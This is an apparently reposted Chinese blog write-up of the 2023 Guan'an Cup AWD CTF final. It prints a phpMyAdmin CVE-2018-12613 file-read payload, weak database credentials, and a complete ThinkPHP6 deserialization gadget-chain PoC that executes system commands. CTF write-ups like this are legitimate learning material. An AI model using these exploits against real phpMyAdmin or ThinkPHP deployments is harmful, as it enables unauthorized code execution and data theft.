2023 观安杯决赛

admin 2024年9月28日11:54:55评论14 views字数 7655阅读25分31秒阅读模式

周三和同事组队“金盾检测”参加了 2023 观安杯管理运维赛线下总决赛。原本看了官网上对赛制的介绍,并参考了前两年的总决赛,以为决赛是应急响应的模式,赛前还猛猛看了一些资料。结果周三早上过去调试的时候,让测试的平台是 awd 的平台,感觉不对劲了。问了下工作人员,确认了下午的模式是 awd。遂赶紧掏出尘封已久的框架在那调试,给我急坏了(然而真正比赛的时候根本没用上)

最后虽然没有pwn手在(全场似乎也没有pwn手),但还是小拿一手第一,估计来参加的队伍也都以为应急响应的模式,所以没有做好相应准备。

2023 观安杯决赛

整场比赛有4台靶机,两台 web 两台 pwn,我们只做出了两个 web,甚至根本没搭理 pwn(还好全场也没有 pwn 手,不然被打了都不知道怎么修)但说实话,三个小时下来我是比较坐牢的,因为除了当交 flag 的猴子外,基本没别的事儿做。

web1

进入前台是一个很简单的 blog,但是根据源码我们可以看到,在 admin/pma 目录下是一个 phpMyAdmin 的后台管理系统。然后在web根目录下的 database.php 文件中我们可以得到一个账户和用户名密码 ctf:ctf

1234567891011121314151617181920212223242526
<?php     error_reporting(0);    define('MYSQL_SERVER', 'localhost') ;    define('MYSQL_USER', 'ctf') ;    define('MYSQL_PASSWORD', 'ctf') ;    define('MYSQL_DB', 'blog') ;    function db_connect(){        $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link));        if(!mysqli_set_charset($link, "utf8")) {            printf("Error: ".mysqli_error($link));        }        return $link;    }//testif(isset($_GET['host'])){$link = mysqli_query(mysqli_connect($_GET['host'],$_GET['username'],$_GET['password'],$_GET['database'],$_GET['port']), "set names utf8");  if ($link){  echo "<script>alert('success')</script>";  }else{  echo "<script>alert('error')</script>";  }}?>

那么肯定要赶紧把这个密码给改掉,当然单单在这个 php 文件中改肯定是没用的,得用 sql 语句改 UPDATE ctf SET pass='' where user_id=1; 然后再在这里改掉,不然网站可能会因为连不上数据库然后崩掉而被 check。

修完自己的当然就是去看看还有哪些手慢的队伍。我们的 “第一桶金“ 就是利用的这个弱口令,在利用弱口令登录后台后,利用 pma 后台任意文件读(CVE-2018-12613)即可获取根目录的 flag 了。

payload:http://10.103.x.1/admin/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag

由于 ctf 用户的权限很低,没办法写 shell,所以我们只能读读 flag,另外由于种种原因,没有写出自动化利用的脚本,所以当时我们就是一个个手输flag。大概打了三四轮后,被打的队伍都发现了这个点,就把这个口令改了,(某些队伍可能因为只是改了 php 文件还被check了)然后我们就没事儿做了。其他队伍发现这个点后也基本没来得及利用,这让我们狠狠捞了一笔。

正当我对 web2 如何读其他选手 encrypted_flag 文件一筹莫展之时,队友突然内网通发来消息,

2023 观安杯决赛

好家伙,还有一个弱口令。队友在看 pma 后台看账户的时候发现,除了 ctf,还有 admin 和 root 账户,root 的口令没爆破出来,倒是把 admin 的口令给爆破出来了。于是我们又利用这个口令狠狠爆其他队伍的flag。这个口令由于不能直接在源码文件中找到,因此大部分的队伍直到比赛结束也都没修。

虽然但是,到后面我们的 web1 也一直在被打,所以应该还是有别的漏洞点我们没有发现的。

web2

web2 是一个基于 thinkphp 6 框架搭建的网站,有疑点的部分是在 \public\sendtodatabase.php 文件中

12345678910111213141516171819202122232425262728293031323334353637
<?php// require __DIR__ . '/../app/start.php';namespace app\controller;require_once('/var/www/app/controller/DataController.php');use app\BaseController;$servername = "127.0.0.1";$username = "root";$password = "root";$dbname = "contact_user";$conn = new \MySQLi($servername, $username, $password, $dbname);if ($conn->connect_error) {    die("Database connection failed: " . $conn->connect_error);}$serializedData = $_POST["serializedData"];//$command = "python3 /var/www/app/encrypted.py '$serializedData'";$command = "ip";$encryptedData_modulus = shell_exec($command);$encryptedData_modulus = str_replace("'","\"",$encryptedData_modulus);$encryptedData_modulus = str_replace("\", \"","\":\"",$encryptedData_modulus);$encryptedData_modulus = json_decode($encryptedData_modulus, true);$index = 0;foreach ($encryptedData_modulus as $inner_array) {    foreach ($inner_array as $encryptedData => $modulus) {        // echo "encryptedData: $encryptedData, modulus: $modulus\n";        $infotablename = "user_info" . ($index + 1);        $sql = "INSERT INTO $infotablename (cryptedData, modulus) VALUES ('$encryptedData', '$modulus')";        if ($conn->query($sql) === TRUE) {            echo "Data has been successfully inserted into the ". $infotablename . "\n";        } else {            echo "Data insertion failed: " . $conn->error;        }        $index = $index + 1;    }}$conn->close();?>

可以看到这里有一行命令 $command = "python3 /var/www/app/encrypted.py '$serializedData'";

虽然这部分代码并不能运行起来(连接数据库的用户名密码是错的),但我们在 web 根目录下确实看到了 encrypted_flag 文件,查看 app/encrypted.py 文件

1234567891011121314151617181920212223242526272829303132333435
import sysimport libnumimport random# if len(sys.argv) < 2:#     print("error")#     exit(1)with open("/flag", "r") as file:    data = file.read()# data = sys.argv[1]EeEeEeEeEe = 23cryptedData_modulus=[]# modulus_list = []# cryptedData_list = []def ToEncrypt_Encrypting_Encrypted(e,data):    PpPpPpPp=libnum.generate_prime(1024)    QqQqQqQq=libnum.generate_prime(1024)    Dadadata=libnum.s2n(data)    modulus=PpPpPpPp * QqQqQqQq    # modulus_list.append(modulus)    cryptedData=pow(Dadadata,EeEeEeEeEe,modulus)    # cryptedData_list.append(cryptedData)    correspondingData = {str(cryptedData):str(modulus)}    cryptedData_modulus.append(correspondingData)def main():    for i in range(6):        ToEncrypt_Encrypting_Encrypted(EeEeEeEeEe,data)    print(cryptedData_modulus)    # print(f"cryptedData_list = {cryptedData_list}")    # print(f"modulus_list = {modulus_list}")    with open("/var/www/encrypted_flag", "w") as file:        file.write(str(cryptedData_modulus))main()

可以看到这里对服务器根目录下的 flag 文件使用 RSA 进行加密并将密文存在了 /var/www/encrypted_flag 中,这里使用的 RSA 公钥指数为 23,模数都不相同,还加密了 6 次,显然是一个低加密指数广播攻击的场景。然并卵,我一直没找到如果读取其他队伍 encrypted_flag 文件的方法。恨!

不过在/route 文件夹下找到了一个 app.php

1234567891011121314151617181920
<?php// +----------------------------------------------------------------------// | ThinkPHP [ WE CAN DO IT JUST THINK ]// +----------------------------------------------------------------------// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.// +----------------------------------------------------------------------// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )// +----------------------------------------------------------------------// | Author: liu21st <[email protected]>// +----------------------------------------------------------------------use think\facade\Route;Route::get('think', function () {    return 'hello,ThinkPHP6!';});Route::get('hello/:name', 'index/hello');Route::get('/', 'index/index');Route::post('/postdata', 'index/postdata');

里面给了一个 postdata 的接口,看到 /app/controller/Index.php 文件

12345678910111213141516171819202122232425262728
<?phpnamespace app\controller;require_once('/var/www/app/controller/DataController.php');use app\BaseController;class Index extends BaseController{    public function index(){            return view('index');    }    public function postdata(){        $data = request() -> post('data');        if ($data) {            $dataController = new DataController();            $unseiazlizeData = $dataController->unserializeData($data);            echo $unseiazlizeData;            return "6";        }        else {            return "post data failed";        }    }}

反序列化的口子砸脸上了,队友说他之前国赛考的就是 thinkphp6 的反序列化,不过手里没存 poc,现挖也挖不出来啊,恨!

最后主办方可能看不下去了,在倒数三四轮的时候把 poc 发出来了

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101
<?phpnamespace think {    abstract class Model    {        private $lazySave = true;        private $data = ['a' => 'b'];        private $exists = true;        protected $withEvent = false;        protected $readonly = ['a'];        protected $relationWrite;        private $relation;        private $origin = [];        public function __construct($value){            $this->relation = ['r' => $this];            $this->origin = ["n" => $value];            $this->relationWrite = ['r' =>                ["n" => $value]            ];        }    }    class App{        protected $request;    }    class Request{        protected $mergeParam = true;        protected $param = ["whoami"];        protected $filter = "system";    }}namespace think\model {    use think\Model;    class Pivot extends Model{    }}namespace think\route {    use think\App;    class Url{        protected $url = "";        protected $domain = "domain";        protected $route;        protected $app;        public function __construct($route){            $this->route = $route;            $this->app = new App();        }    }}namespace think\log {    class Channel    {        protected $lazy = false;        protected $logger;        protected $log = [];        public function __construct($logger){            $this->logger = $logger;        }    }}namespace think\session {    class Store    {        protected $data;        protected $serialize = ["call_user_func"];        protected $id = "";        public function __construct($data){            $this->data = [$data, "param"];        }    }}namespace {    $request = new think\Request();         //  param    $store = new think\session\Store($request);     // save    $channel = new think\log\Channel($store);     // __call    $url = new think\route\Url($channel);   // __toString    $model = new think\model\Pivot($url);   // __destruct    echo urlencode(serialize($model));}

然后我们就立刻拿下,队友马上写出了自动化利用的脚本,狠狠爆其他队伍的 flag。不过由于时间太晚,只剩三轮了,大家也倦了,不想搞了,只想当一当猴子交一交 web1 的flag。如果手里提前存着 poc 的话,那就有时间写马,可以权限维持,可以弹shell,可以 fork 炸弹,可以 … (真正的 awd 就开始了)

阿巴阿巴,就是这么多了,除了当了一天交 flag 的猴子外啥也没干成,到最后也还是不知道怎么读 encrypted_flag,(拿到 poc 后都可以直接读 /flag 了,谁还读 encrypted_flag 啊)菜菜,全靠队友带。

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:54:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 观安杯决赛http://cn-sec.com/archives/3093702.html

发表评论

匿名网友 填写信息